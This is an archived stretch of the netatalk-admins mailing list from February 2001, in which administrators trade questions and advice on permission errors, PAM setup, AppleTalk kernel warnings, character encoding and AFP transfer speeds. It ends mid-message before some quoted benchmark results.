  with HTTP id 220178 for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 08:36:22 -0800
From: "Devin Lee Drew" <ddrew@ucsd.edu>
Subject: chown -1/0
To: netatalk-admins@umich.edu
X-Mailer: CommuniGate Pro Web Mailer v.3.3
Date: Wed, 21 Feb 2001 08:36:22 -0800
Message-ID: <web-220178@gghosh.ucsd.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit

Greetings,
Things seem to be working fine, but syslog records the following message
exactly 2 seconds after a user successfully logs in. Im running 1.5b3 on rh7.0
with updates. Any ideas? I saw some mention of this in November, but no
resolution was offered. It was stated in that thread that chown -1/0 was
rather strange thing to see.

afpd[pid]: setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not
permitted

I use a umask of 002, all users are in the same group, and users access both
their home directories 
#stat username
Access: (0700/drwx------) 

and a public domain volume
#stat public-domain
Access: (2770/drwxrws---)

any help is much appreciated,

Devin

From netatalk.administrators-errors@umich.edu  Wed Feb 21 11:46:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA15539
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 11:46:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA01867
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 11:46:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA01765
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 11:46:20 -0500 (EST)
Received: from tbsun.text-bild.de (fuerth.dvs.org [212.114.66.66] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA01681
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 11:46:18 -0500 (EST)
Received: from text-bild.de ([192.168.100.31]) by tbsun.text-bild.de
          (Post.Office MTA v3.5.3 release 223 ID# 127-57510U100L2S100V35)
          with ESMTP id de; Wed, 21 Feb 2001 17:52:14 +0100
Message-ID: <3A93F0CE.9F599173@text-bild.de>
Date: Wed, 21 Feb 2001 17:46:06 +0100
From: anatol.ulrich@text-bild.de (Anatol Ulrich)
Reply-To: Anatol.Ulrich@text-bild.de
Organization: Text & Bild GmbH
X-Mailer: Mozilla 4.72 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: karelsf@brandeis.edu
CC: netatalk-admins@umich.edu
Subject: Re: netatalk does not like me anymore
References: <3A8CF1BB.94904298@text-bild.de> <3A8D8F86.C8BC1DF0@brandeis.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hi Karel,


SF Karel wrote:

> You don't say what platform you're running on (I'd guess linux, but what distro?)

it“s SuSE 6.4 (got PAM support)


>
> Odds are that you don't want to compile with shadow support, just use
> PAM if the distribution uses it.

i“ll try that, thanks.

.anatol

From netatalk.administrators-errors@umich.edu  Wed Feb 21 12:35:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17365
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 12:35:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA19329
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 12:35:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA19313
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 12:35:37 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA19266
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 12:35:35 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Wed, 21 Feb 2001 17:35:47 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 21 Feb 2001 17:35:38 +0000
Subject: Re: Warning at Startup
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
CC: <netatalk-admins@umich.edu>
Message-ID: <B6B9ACEA.4120%basil.hussain@specialreserve.net>
In-Reply-To: <14995.59111.898580.495649@h0050da615e79.ne.mediaone.net>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

> I didn't see this "kmem-grow: called nonatomically" thing when I
> installed the Red Hat 2.2.17 upgrade recently.  But then, I never saw it
> on 2.2.16 (but I was running 2.2.16-3, so that may have been before the
> bug was introduced).

Could you test to confirm this? If you can find a convenient moment to
perform the procedure in my bug report to check (see URL below), that'd be a
great help!

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=25379

Basically, just stop Netatalk, remove the AppleTalk module from the kernel,
re-insert it and re-start Netatalk. The warning only occurs upon loading of
the kernel module, y'see.

BTW, have you experienced any troubles at all with the 2.2.17 kernel? I want
to upgrade my servers if it cures the small Netatalk problem, but I'm
slightly suspicious as to it's quality - aren't odd-numbered kernel releases
supposed to be testing releases? Or is it just the secondary version number?

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Wed Feb 21 13:06:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18050
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 13:06:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA23474
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 13:06:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA23452
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 13:06:17 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA23420
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 13:06:15 -0500 (EST)
Received: (qmail 8604 invoked by uid 500); 21 Feb 2001 18:06:07 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14996.910.776093.813466@h0050da615e79.ne.mediaone.net>
Date: Wed, 21 Feb 2001 13:06:06 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Basil Hussain <basil.hussain@specialreserve.net>
Cc: <netatalk-admins@umich.edu>
Subject: Re: Warning at Startup
In-Reply-To: <B6B9ACEA.4120%basil.hussain@specialreserve.net>
References: <14995.59111.898580.495649@h0050da615e79.ne.mediaone.net>
	<B6B9ACEA.4120%basil.hussain@specialreserve.net>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Basil Hussain <basil.hussain@specialreserve.net>
   Date: Wed, 21 Feb 2001 17:35:38 +0000

   Hi,

   > I didn't see this "kmem-grow: called nonatomically" thing when I
   > installed the Red Hat 2.2.17 upgrade recently.  But then, I never saw it
   > on 2.2.16 (but I was running 2.2.16-3, so that may have been before the
   > bug was introduced).

   Could you test to confirm this? If you can find a convenient moment to
   perform the procedure in my bug report to check (see URL below), that'd be a
   great help!

   https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=25379

   Basically, just stop Netatalk, remove the AppleTalk module from the kernel,
   re-insert it and re-start Netatalk. The warning only occurs upon loading of
   the kernel module, y'see.

Just tried it; it comes back up without the error.  (Though if loading
the module is all that is necessary to trigger this, then rebooting
after the kernel upgrade should have been a sufficient test.)

   BTW, have you experienced any troubles at all with the 2.2.17 kernel? I want
   to upgrade my servers if it cures the small Netatalk problem, but I'm
   slightly suspicious as to it's quality - aren't odd-numbered kernel releases
   supposed to be testing releases? Or is it just the secondary version number?

Just the second number; the third number is to distinguish different
2.2.x (or whatever) releases, and just defines the sequence.

					-- Bob


From netatalk.administrators-errors@umich.edu  Wed Feb 21 13:16:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18362
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 13:16:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09026
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 13:16:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA08999
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 13:16:40 -0500 (EST)
Received: from tsmtp6.mail.isp ([195.235.113.141])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA08963
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 13:16:38 -0500 (EST)
Received: from macserver ([213.96.54.28]) by tsmtp6.mail.isp
          (Netscape Messaging Server 4.15) with SMTP id G94DBH06.RR0 for
          <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 19:14:05 +0100 
Message-ID: <002b01c09c32$0c360aa0$1a00a8c0@macserver>
From: "Jesus" <jolivan@interaccionbcn.com>
To: <netatalk-admins@umich.edu>
Subject: Problems in spanish characters exchange
Date: Wed, 21 Feb 2001 19:13:48 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0028_01C09C3A.6B9113C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

This is a multi-part message in MIME format.

------=_NextPart_000_0028_01C09C3A.6B9113C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Greetings,


    We are running a new Linux box for experimenting with it as an =
Netatalk server for files exchange between an Apple network and the PC =
side, through SAMBA. Though, we are experimenting some strange errors =
when sharing files with accented letters and with spanish-specyfical =
symbols / letters, like "=F1" and "=E7" . Might it be a misconfiguration =
or are we skipping any option in the Apple//Linux/Windows side?=20

Any ideas? Help, please ! :)


Thank you very much in advance.


Daniel

------=_NextPart_000_0028_01C09C3A.6B9113C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Greetings,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; We are running a new =
Linux box=20
for experimenting with it as an Netatalk server for files exchange =
between an=20
Apple network and the PC side, through SAMBA. Though, we are =
experimenting some=20
strange errors when sharing files with accented letters and with=20
spanish-specyfical symbols / letters, like "=F1" and "=E7" . Might it be =
a=20
misconfiguration or are we skipping any option in the =
Apple//Linux/Windows side?=20
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Any ideas? Help, please ! =
:)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you very much in =
advance.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Daniel</FONT></DIV></BODY></HTML>

------=_NextPart_000_0028_01C09C3A.6B9113C0--


From netatalk.administrators-errors@umich.edu  Wed Feb 21 13:28:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18644
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 13:28:02 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12431
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 13:27:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12406
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 13:27:54 -0500 (EST)
Received: from amersham.mail.uk.easynet.net (amersham.mail.uk.easynet.net [195.40.1.45])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA12173
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 13:27:44 -0500 (EST)
Received: from fe.int.nan.co.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by amersham.mail.uk.easynet.net (Postfix) with ESMTP id DDE84178EC
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 18:27:47 +0000 (GMT)
Received: by mailhost.network-analysis.ltd.uk (sendmail 8.11.2)
          with ESMTP id f1LISAa32387;
          Wed, 21 Feb 2001 18:28:10 GMT
Mime-Version: 1.0
X-Sender: sw@mailhost.int.nan.co.uk
Message-Id: <p04330100b6b9b892bc07@[192.168.195.62]>
In-Reply-To: <14996.910.776093.813466@h0050da615e79.ne.mediaone.net>
References: <14995.59111.898580.495649@h0050da615e79.ne.mediaone.net>
 <B6B9ACEA.4120%basil.hussain@specialreserve.net>
 <14996.910.776093.813466@h0050da615e79.ne.mediaone.net>
X-Mailer: Eudora Pro 4.3
Organization: Network Analysis Ltd
Date: Wed, 21 Feb 2001 18:28:09 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re: Warning at Startup
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Bob Rogers's message of the 21/02/2001 at 13:06 -0500,


>Just the second number; the third number is to distinguish different
>2.2.x (or whatever) releases, and just defines the sequence.

Besides, 2.2.18 has been out for a while...
-- 
Sak Wathanasin
Network Analysis Limited
178 Wainbody Ave South, Coventry CV3 6BX, UK

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Wed Feb 21 14:10:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA19663
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 14:10:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01761
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 14:10:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01733
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 14:10:48 -0500 (EST)
Received: from cnp4tssm.condenast.com (cnp4tssm.condenast.com [204.252.201.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA01683
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 14:10:46 -0500 (EST)
From: Steve_Kreuzer@condenast.com
Received: from Beethoven.condenast.com (localhost [127.0.0.1])
	by cnp4tssm.condenast.com (Pro-8.9.3/8.9.3) with SMTP id OAA01801
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 14:10:45 -0500 (EST)
Received: by Beethoven.condenast.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569FA.00694723 ; Wed, 21 Feb 2001 14:09:54 -0500
X-Lotus-FromDomain: CNP
To: netatalk-admins@umich.edu
Message-ID: <852569FA.0069450E.00@Beethoven.condenast.com>
Date: Wed, 21 Feb 2001 14:09:12 -0500
Subject: Access Permissions
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



I have a volume called "Share" that people can connect to via Appletalk. If a
person with proper permission to view the folder double clicks on it, it will
open, however, someone without the proper permission gets "The folder "Share"
could not be opened, because it cannot be found."
The permissions on the folder are drwxr-x---  3    root      shareusers
when I first started to play with netatalk, if a person didn't have the proper
permisison to view the file or folder, it had a belt around it and gave a "you
don't have the proper permission to view the file"

any ideas

-Steve



From netatalk.administrators-errors@umich.edu  Wed Feb 21 21:30:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA04165
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 21:30:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA11246
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 21:30:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA11226
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 21:30:29 -0500 (EST)
Received: from mail.magicgoeshere.com (NW152-60.indigo.ie [194.125.152.60] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA11163
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 21:30:27 -0500 (EST)
Received: from bagend.local (unknown [194.165.166.175])
	by mail.magicgoeshere.com (Postfix) with ESMTP id 71E95FA61
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 02:22:53 +0000 (GMT)
Received: (from niall@localhost)
	by bagend.local (8.9.3/8.9.3) id CAA02158
	for netatalk-admins@umich.edu; Thu, 22 Feb 2001 02:30:02 GMT
Date: Thu, 22 Feb 2001 02:30:01 +0000
From: Niall O Broin <niall@magicgoeshere.com>
To: netatalk-admins@umich.edu
Subject: Netatalk wire speed
Message-ID: <20010222023001.B2126@bagend.local>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i

Hi again all,
	I've been a long time user of netatlk but I haven't been on this
list for a while, as netatalk just works for me. But now I have an issue
that I'm sure I've seen discussed before but I can't find a reference
(probably not looking in the right place)

I need to copy about 13GB of files from a Linux box to a G3 Powerbook. The
Linux box is running 1.4b2+asun2.1.3 (it's stock SuSE 7) and the Powerbook
has mounted the filesystem using TCP (I hope - I entered the server IP
address rather than picking it by name from the Chooser so that should do
it, no ?). The server has a 3C509 card and is connected to the Powerbook by
a crossover cable, and the link lights indicate that 100 MB is active. When
I drag the relevant folder to the Powerbook (containing about 18000 files)
it trundles away for a while, counting up to the number of files, and then
starts copying. The estimated varies as a few files are copied, but it's
always around 40 hours. Now cutting corners here and there this equates to
an approx. transfer rate of ~ 5MB / minute - this is just a tad below the
wire speed of a 100 MB network.

Now I know that afp won't really approach wirespeed, even over TCP rather
than Appletalk, but even so ~ 5MB / minute seems a bit slow. Anyone have
any suggestions ?




Kindest regards,



Niall  O Broin

From netatalk.administrators-errors@umich.edu  Wed Feb 21 21:45:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA04409
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 21:45:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA18755
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 21:45:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA18738
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 21:45:08 -0500 (EST)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA18558
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 21:45:02 -0500 (EST)
Received: from [216.64.45.172] (helo=[192.168.99.123])
	by hobbiton.shire.net with esmtp (Exim 2.04 #5)
	id 14Vljv-000Ljb-00; Wed, 21 Feb 2001 19:44:19 -0700
Date: Wed, 21 Feb 2001 21:37:09 -0500
From: "Chad Leigh, Objectwerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: Niall O Broin <niall@magicgoeshere.com>
cc: netatalk-admins@umich.edu
Subject: Re: Netatalk wire speed
Message-ID: <3538886480.982791429@[192.168.99.123]>
In-Reply-To: <20010222023001.B2126@bagend.local>
X-Mailer: Mulberry/2.0.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

In normal usage I have never found MacOS to be a speed demon when copying 
large numbers of files.  Try copying that many files between two disks on 
the same machine.

Chad

--On Thursday, February 22, 2001 2:30 AM +0000 Niall O Broin 
<niall@magicgoeshere.com> wrote:

> Hi again all,
>	 I've been a long time user of netatlk but I haven't been on this
> list for a while, as netatalk just works for me. But now I have an issue
> that I'm sure I've seen discussed before but I can't find a reference
> (probably not looking in the right place)
>
> I need to copy about 13GB of files from a Linux box to a G3 Powerbook. The
> Linux box is running 1.4b2+asun2.1.3 (it's stock SuSE 7) and the Powerbook
> has mounted the filesystem using TCP (I hope - I entered the server IP
> address rather than picking it by name from the Chooser so that should do
> it, no ?). The server has a 3C509 card and is connected to the Powerbook
> by a crossover cable, and the link lights indicate that 100 MB is active.
> When I drag the relevant folder to the Powerbook (containing about 18000
> files) it trundles away for a while, counting up to the number of files,
> and then starts copying. The estimated varies as a few files are copied,
> but it's always around 40 hours. Now cutting corners here and there this
> equates to an approx. transfer rate of ~ 5MB / minute - this is just a
> tad below the wire speed of a 100 MB network.
>
> Now I know that afp won't really approach wirespeed, even over TCP rather
> than Appletalk, but even so ~ 5MB / minute seems a bit slow. Anyone have
> any suggestions ?
>
>
>
>
> Kindest regards,
>
>
>
> Niall  O Broin
>





From netatalk.administrators-errors@umich.edu  Wed Feb 21 23:17:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA06394
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 23:17:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA24038
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 23:17:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA24015
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 23:17:35 -0500 (EST)
Received: from rembrandt.artnet.net ([216.2.102.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA23912
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 23:17:33 -0500 (EST)
Received: from [63.208.236.163] (dialup-63.208.236.163.LosAngeles.Level3.net [63.208.236.163])
	by rembrandt.artnet.net (8.9.3/8.9.3) with ESMTP id UAA23395
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 20:17:13 -0800 (PST)
User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
Date: Wed, 21 Feb 2001 20:17:17 -0800
Subject: Re: Netatalk wire speed
From: Gregg Healy <gregg@photoad.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B9D2CD.5596%gregg@photoad.com>
In-Reply-To: <3538886480.982791429@[192.168.99.123]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

My G4 can sustain over 5mb/sec. Limited I think by the HD in my Linux system
but I havent had the money to test it.

There must be some kind of cable or incompatibility problem? Even a slow
10/mb connection can do 10mb/min.

-- 
Gregg Healy, President

PhotoAd.com, Inc.
_________________
800 471-3737 x140

> From: "Chad Leigh, Objectwerks, Inc." <chad@objectwerks.com>
> Reply-To: chad@objectwerks.com
> Date: Wed, 21 Feb 2001 21:37:09 -0500
> To: Niall O Broin <niall@magicgoeshere.com>
> Cc: netatalk-admins@umich.edu
> Subject: Re: Netatalk wire speed
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 21 Feb 2001 21:53:23 -0500 (EST)
> 
> In normal usage I have never found MacOS to be a speed demon when copying
> large numbers of files.  Try copying that many files between two disks on
> the same machine.
> 
> Chad
> 
> --On Thursday, February 22, 2001 2:30 AM +0000 Niall O Broin
> <niall@magicgoeshere.com> wrote:
> 
>> Hi again all,
>> I've been a long time user of netatlk but I haven't been on this
>> list for a while, as netatalk just works for me. But now I have an issue
>> that I'm sure I've seen discussed before but I can't find a reference
>> (probably not looking in the right place)
>> 
>> I need to copy about 13GB of files from a Linux box to a G3 Powerbook. The
>> Linux box is running 1.4b2+asun2.1.3 (it's stock SuSE 7) and the Powerbook
>> has mounted the filesystem using TCP (I hope - I entered the server IP
>> address rather than picking it by name from the Chooser so that should do
>> it, no ?). The server has a 3C509 card and is connected to the Powerbook
>> by a crossover cable, and the link lights indicate that 100 MB is active.
>> When I drag the relevant folder to the Powerbook (containing about 18000
>> files) it trundles away for a while, counting up to the number of files,
>> and then starts copying. The estimated varies as a few files are copied,
>> but it's always around 40 hours. Now cutting corners here and there this
>> equates to an approx. transfer rate of ~ 5MB / minute - this is just a
>> tad below the wire speed of a 100 MB network.
>> 
>> Now I know that afp won't really approach wirespeed, even over TCP rather
>> than Appletalk, but even so ~ 5MB / minute seems a bit slow. Anyone have
>> any suggestions ?
>> 
>> 
>> 
>> 
>> Kindest regards,
>> 
>> 
>> 
>> Niall  O Broin
>> 
> 
> 
> 
> 
> 


From netatalk.administrators-errors@umich.edu  Wed Feb 21 23:45:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA07165
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 23:45:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA18788
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 23:45:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA18754
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 23:45:40 -0500 (EST)
Received: from mta2-rme.xtra.co.nz (mta2-rme.xtra.co.nz [203.96.92.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA18693
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 23:45:38 -0500 (EST)
Received: from [192.168.1.248] ([210.54.213.206]) by mta2-rme.xtra.co.nz
          with ESMTP
          id <20010222044544.SXJN15770362.mta2-rme.xtra.co.nz@[192.168.1.248]>
          for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 17:45:44 +1300
Mime-Version: 1.0
X-Sender: darena6@pop3.xtra.co.nz
Message-Id: <p05010400b6ba47051037@[192.168.1.248]>
In-Reply-To: <B6B9D2CD.5596%gregg@photoad.com>
References: <B6B9D2CD.5596%gregg@photoad.com>
Date: Thu, 22 Feb 2001 17:45:40 +1300
To: <netatalk-admins@umich.edu>
From: Marcus Radich <marcus@darena.co.nz>
Subject: Re: Netatalk wire speed
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

We use good hardware (IBM Netfinity 3000, now the e-server x200), and 
we can sustain a single connection of over 9.5MB/sec (that's 
megabytes/sec = 100MB copies is about 10 seconds).
The hardware benchmarks at 170MB/sec for the motherboard, and the 
RAID does 50MB/sec. Use hdparm to test your system. It's not a 
perfect test, but it gives you and rough idea of its potential.

/sbin/hdparm -tT /dev/sda   (or hda etc)

Here are the results from a machine we just integrated into a mac studio:

